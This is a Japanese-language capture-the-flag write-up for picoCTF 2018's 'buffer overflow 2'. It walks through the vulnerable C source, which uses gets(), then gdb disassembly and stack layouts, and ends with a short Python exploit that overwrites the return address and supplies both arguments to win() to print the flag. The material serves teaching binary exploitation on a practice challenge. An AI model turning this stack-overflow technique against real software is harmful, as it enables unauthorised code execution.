picoCTF 2018: buffer overflow 2
問題
問題文
Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.
Hints
Try using gdb to print out the stack once you write to it!
問題概要
x86 の ELF ファイルおよびそのソースコードが与えられる.
解答例
指針
- buffer overflow
解説
与えられたプログラムのソースコードは以下の通り.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xDEADC0DE) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
vuln() で gets() を使っているので自明な buffer overflow の脆弱性がある.
vuln() の return address を win() のアドレスに書き換えると vuln() を抜けたときに win() を呼び出せる.
ここまでは buffer overflow 1 と同じだが, 今回の win() 関数は引数を取り第一引数が 0xDEADBEEF, 第二引数が 0xDEADC0DE となる必要がある.
x86 は引数の受け渡しも Stack を介して行われるため, buffer overflow により引数を自由な値にすることができる.
gdb を使って解析する.
$ gdb -q vuln Reading symbols from vuln...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x804867b Starting program: /home/kira/vuln Temporary breakpoint 1, 0x0804867b in main () (gdb) disas vuln Dump of assembler code for function vuln: 0x08048646 <+0>: push ebp 0x08048647 <+1>: mov ebp,esp 0x08048649 <+3>: sub esp,0x78 0x0804864c <+6>: sub esp,0xc 0x0804864f <+9>: lea eax,[ebp-0x6c] 0x08048652 <+12>: push eax 0x08048653 <+13>: call 0x8048430 <gets@plt> 0x08048658 <+18>: add esp,0x10 0x0804865b <+21>: sub esp,0xc 0x0804865e <+24>: lea eax,[ebp-0x6c] 0x08048661 <+27>: push eax 0x08048662 <+28>: call 0x8048460 <puts@plt> 0x08048667 <+33>: add esp,0x10 0x0804866a <+36>: nop 0x0804866b <+37>: leave 0x0804866c <+38>: ret End of assembler dump. (gdb)
以下の部分より vuln() のローカル変数 buf[] の先頭アドレスが [ebp-0x6c] であると分かる.
0x0804864f <+9>: lea eax,[ebp-0x6c] 0x08048652 <+12>: push eax 0x08048653 <+13>: call 0x8048430 <gets@plt>
Call Stack は以下のようになっている.
(lower address) | top of buf | <= [ebp-0x6c] .... | saved ebp | | return addr | (higher address)
vuln() の return address を win() のアドレスにし, vuln() の ret 命令が実行されたときの Call Stack の状態を考える. ret 命令は return address を pop しそこへ jmp する命令であるからスタックポインタ (ESP) は以下のようにインクリメントされ return address が格納されているところより一つ上のアドレスを指しているはずである.
(lower address) | top of buf | <= [ebp-0x6c] .... | saved ebp | | return addr | | junk | <= ESP (higher address)
この状態から win() へ jmp したときのことを考える.
以下は win() を逆アセンブルした結果である. win() の先頭アドレスが 0x080485cb であることが確認できる.
(gdb) disas win Dump of assembler code for function win: 0x080485cb <+0>: push ebp 0x080485cc <+1>: mov ebp,esp (snip) 0x0804861d <+82>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0x08048624 <+89>: jne 0x8048640 <win+117> 0x08048626 <+91>: cmp DWORD PTR [ebp+0xc],0xdeadc0de 0x0804862d <+98>: jne 0x8048643 <win+120> (snip) 0x08048644 <+121>: leave 0x08048645 <+122>: ret End of assembler dump. (gdb)
vuln() から win() に jmp し以下の命令が実行されたとき,
0x080485cb <+0>: push ebp 0x080485cc <+1>: mov ebp,esp
Call Stack は下の図のようになっているはずである.
(lower address) | top of buf | <= [old ebp-0x6c] .... | old ebp | | saved ebp | <= ESP | junk | (higher address)
ここで win() の逆アセンブルコードを読むと, 第一引数, 第二引数および return address として使われているアドレスは以下に示すとおりとなっている.
(lower address) | top of buf | <= [old ebp-0x6c] .... | old ebp | | saved ebp | | return addr | | param1 | <= [ebp+0x8] | param2 | <= [ebp+0xc] (higher address)
したがって exploit は以下のように書ける.
#!/usr/bin/env python2 win_addr = '\xcb\x85\x04\x08' buf = 'A' * (0x6c+4) buf += win_addr buf += 'A'*4 buf += '\xef\xbe\xad\xde' buf += '\xde\xc0\xad\xde' print (buf)
- 実行結果
$ python2 ~/exploit.py | ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ▒▒▒▒▒ picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault (core dumped)
return addr の値が AAAA となっているため, win() を抜けたときに Segmentation fault となる.